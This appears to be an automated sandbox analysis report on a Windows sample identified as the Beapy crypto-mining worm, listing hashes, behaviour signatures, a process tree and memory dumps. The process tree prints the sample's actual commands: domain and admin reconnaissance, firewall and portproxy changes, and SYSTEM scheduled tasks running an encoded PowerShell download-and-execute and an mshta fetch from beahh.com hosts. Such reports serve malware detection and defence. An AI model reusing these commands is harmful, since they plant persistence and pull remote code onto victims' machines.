Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    05-05-2021 03:09

General

  • Target

    NFgODbNY.exe

  • Size

    6.6MB

  • MD5

    5f6a74e286c98bbe45a6a667026813bc

  • SHA1

    5d17945ebbb46e1f73ce15a8a110e0e1b6c165da

  • SHA256

    863853bdbdb6ed3d644305d866286c1fa25255e62851f3d7bee5f3e2bcefaa98

  • SHA512

    0f1f2e000dc7f0f7fff435fba887c19a9698e7004bea64baddafd17d96e4bbe1266f6ce9a27296d220ef7a6b17fab65e787e01e6a1e2aff4ea0fa1d58f84a701

Score
10/10

Malware Config

Signatures

  • Beapy

    Beapy is a python worm with crypto mining capabilities.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 20 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 33 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe
    "C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe
      "C:\Users\Admin\AppData\Local\Temp\NFgODbNY.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1160
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c wmic ntdomain get domainname
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1148
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic ntdomain get domainname
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1288
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c net localgroup administrators
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:812
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            5⤵
              PID:652
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net group "domain admins" /domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:780
          • C:\Windows\SysWOW64\net.exe
            net group "domain admins" /domain
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:324
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 group "domain admins" /domain
              5⤵
                PID:1136
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1872
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ipconfig /all
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1056
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              4⤵
              • Gathers network information
              PID:280
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:912
          • C:\Windows\SysWOW64\netstat.exe
            netstat -na
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1956
      • C:\Windows\zktFvjRg.exe
        C:\Windows\zktFvjRg.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c call "c:\windows\temp\tmp.vbs"
          2⤵
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:988
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
            3⤵
            • Modifies data under HKEY_USERS
            PID:1620
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c echo gLzdLkSX >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\kllkstmI.exe&move /y c:\windows\temp\dig.exe c:\windows\CXabV.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn kllkstmI /tr "C:\Windows\kllkstmI.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\DnNkjF" /tr "c:\windows\CXabV.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pMRBKYMNO"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\CXabV.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\kllkstmI.exe"&schtasks /run /TN escan)
              4⤵
              • Drops file in Windows directory
              PID:2016
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall add portopening tcp 65533 DNSd
                5⤵
                • Modifies data under HKEY_USERS
                PID:1660
              • C:\Windows\SysWOW64\netsh.exe
                netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
                5⤵
                • Modifies data under HKEY_USERS
                PID:1148
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
                5⤵
                • Creates scheduled task(s)
                PID:2292
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn kllkstmI /tr "C:\Windows\kllkstmI.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:1188
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\DnNkjF" /tr "c:\windows\CXabV.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:2108
      • C:\Windows\KnmbjNuc.exe
        C:\Windows\KnmbjNuc.exe
        1⤵
          PID:2160

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/1160-106-0x0000000000660000-0x0000000000675000-memory.dmp

          Filesize

          84KB

        • memory/1160-103-0x00000000004C0000-0x00000000004D0000-memory.dmp

          Filesize

          64KB

        • memory/1160-77-0x0000000000400000-0x00000000004B5000-memory.dmp

          Filesize

          724KB

        • memory/1160-86-0x00000000005E0000-0x000000000065C000-memory.dmp

          Filesize

          496KB

        • memory/1160-94-0x0000000000140000-0x0000000000150000-memory.dmp

          Filesize

          64KB

        • memory/1160-64-0x0000000075281000-0x0000000075283000-memory.dmp

          Filesize

          8KB

        • memory/1872-124-0x000000001C370000-0x000000001C371000-memory.dmp

          Filesize

          4KB

        • memory/1872-119-0x00000000024C0000-0x00000000024C1000-memory.dmp

          Filesize

          4KB

        • memory/1872-126-0x000000001B740000-0x000000001B741000-memory.dmp

          Filesize

          4KB

        • memory/1872-122-0x00000000024F0000-0x00000000024F1000-memory.dmp

          Filesize

          4KB

        • memory/1872-121-0x000000001AA44000-0x000000001AA46000-memory.dmp

          Filesize

          8KB

        • memory/1872-120-0x000000001AA40000-0x000000001AA42000-memory.dmp

          Filesize

          8KB

        • memory/1872-125-0x000000001AA4A000-0x000000001AA69000-memory.dmp

          Filesize

          124KB

        • memory/1872-118-0x000000001AAC0000-0x000000001AAC1000-memory.dmp

          Filesize

          4KB

        • memory/1872-116-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

          Filesize

          8KB

        • memory/1872-117-0x0000000002020000-0x0000000002021000-memory.dmp

          Filesize

          4KB